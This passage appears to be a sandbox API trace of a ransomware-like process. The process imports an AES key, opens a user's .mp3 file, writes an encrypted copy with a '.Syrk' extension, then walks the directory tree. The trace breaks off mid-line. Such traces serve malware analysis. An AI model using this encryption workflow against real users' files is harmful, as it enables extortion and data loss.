(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0237.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0237.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0237.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0237.473] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.473] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0237.473] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0237.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0237.474] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.474] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0237.474] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0237.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0237.474] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.474] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0237.474] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0237.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0237.474] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.474] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0237.474] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0237.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0237.475] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.475] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0237.475] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0237.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0237.475] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.475] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0237.475] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0237.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0237.476] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.476] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0237.476] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0237.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0237.476] SystemFunction041 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.476] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0237.476] SystemFunction040 (in: Memory=0x5c9b124, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b124) returned 0x0 [0237.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0237.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0237.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0237.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0237.477] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.477] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0237.477] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0237.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0237.477] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.477] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0237.477] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0237.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0237.478] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.478] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0237.478] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0237.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0237.478] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.479] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0237.479] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.479] EtwEventActivityIdControl () returned 0x0 [0237.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0237.479] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.479] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0237.479] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0237.481] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0237.484] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x23e6ef0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69240) returned 1 [0237.484] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0237.484] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0237.484] EtwEventActivityIdControl () returned 0x0 [0237.485] EtwEventActivityIdControl () returned 0x0 [0237.485] EtwEventActivityIdControl () returned 0x0 [0237.492] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3")) returned 0x20 [0237.493] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3")) returned 0x20 [0237.494] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0237.494] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", lpFilePart=0x0) returned 0x4e [0237.544] EtwEventActivityIdControl () returned 0x0 [0237.545] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0237.545] EtwEventActivityIdControl () returned 0x0 [0237.545] EtwEventActivityIdControl () returned 0x0 [0237.545] EtwEventActivityIdControl () returned 0x0 [0237.546] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0237.547] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", lpFilePart=0x0) returned 0x4e [0237.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0237.547] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0237.547] GetFileType (hFile=0x454) returned 0x1 [0237.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0237.547] GetFileType (hFile=0x454) returned 0x1 [0237.548] EtwEventActivityIdControl () returned 0x0 [0237.548] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0237.548] EtwEventActivityIdControl () returned 0x0 [0237.548] EtwEventActivityIdControl () returned 0x0 [0237.548] EtwEventActivityIdControl () returned 0x0 [0237.550] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0237.550] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk", lpFilePart=0x0) returned 0x53 [0237.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0237.551] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0241.899] GetFileType (hFile=0x1d4) returned 0x1 [0241.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0241.899] GetFileType (hFile=0x1d4) returned 0x1 [0241.901] EtwEventActivityIdControl () returned 0x0 [0241.904] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x23fb6f8 | out: pbBuffer=0x23fb6f8) returned 1 [0241.906] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0241.906] CryptDuplicateKey (in: hKey=0x5c69240, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c69440) returned 1 [0241.906] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0241.906] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x4, pbData=0x23fca24*=0x1, dwFlags=0x0) returned 1 [0241.906] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x1, pbData=0x23fc9f0, dwFlags=0x0) returned 1 [0241.907] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0241.908] EtwEventActivityIdControl () returned 0x0 [0241.909] EtwEventActivityIdControl () returned 0x0 [0241.909] EtwEventActivityIdControl () returned 0x0 [0241.915] EtwEventActivityIdControl () returned 0x0 [0241.916] ReadFile (in: hFile=0x454, lpBuffer=0x23ff66c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ff66c*, lpNumberOfBytesRead=0x5a2e7d8*=0x12022, lpOverlapped=0x0) returned 1 [0241.918] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2413684*, pdwDataLen=0x5a2e7cc*=0x12020, dwBufLen=0x12020 | out: pbData=0x2413684*, pdwDataLen=0x5a2e7cc*=0x12020) returned 1 [0241.919] WriteFile (in: hFile=0x1d4, lpBuffer=0x23fb7d4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23fb7d4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0241.921] WriteFile (in: hFile=0x1d4, lpBuffer=0x2414670*, nNumberOfBytesToWrite=0x11034, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2414670*, lpNumberOfBytesWritten=0x5a2e7b0*=0x11034, lpOverlapped=0x0) returned 1 [0241.922] ReadFile (in: hFile=0x454, lpBuffer=0x23ff66c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ff66c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0241.923] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24256b0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24256b0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0241.923] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24256cc*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24256cc*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0241.923] WriteFile (in: hFile=0x1d4, lpBuffer=0x23fb7d4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23fb7d4*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0241.923] CloseHandle (hObject=0x1d4) returned 1 [0241.925] CloseHandle (hObject=0x454) returned 1 [0241.925] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0241.926] EtwEventActivityIdControl () returned 0x0 [0241.926] EtwEventActivityIdControl () returned 0x0 [0241.926] EtwEventActivityIdControl () returned 0x0 [0241.934] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3")) returned 0x20 [0241.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0241.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", lpFilePart=0x0) returned 0x4e [0241.937] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0241.937] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0241.938] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0241.938] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0241.938] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0241.938] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0241.938] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0241.938] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0241.938] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0241.938] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0241.938] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0241.938] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0241.939] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0241.939] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0241.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0241.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0241.939] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0241.939] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0241.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0241.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0241.940] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0241.940] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0241.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0241.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0241.940] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0241.940] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: 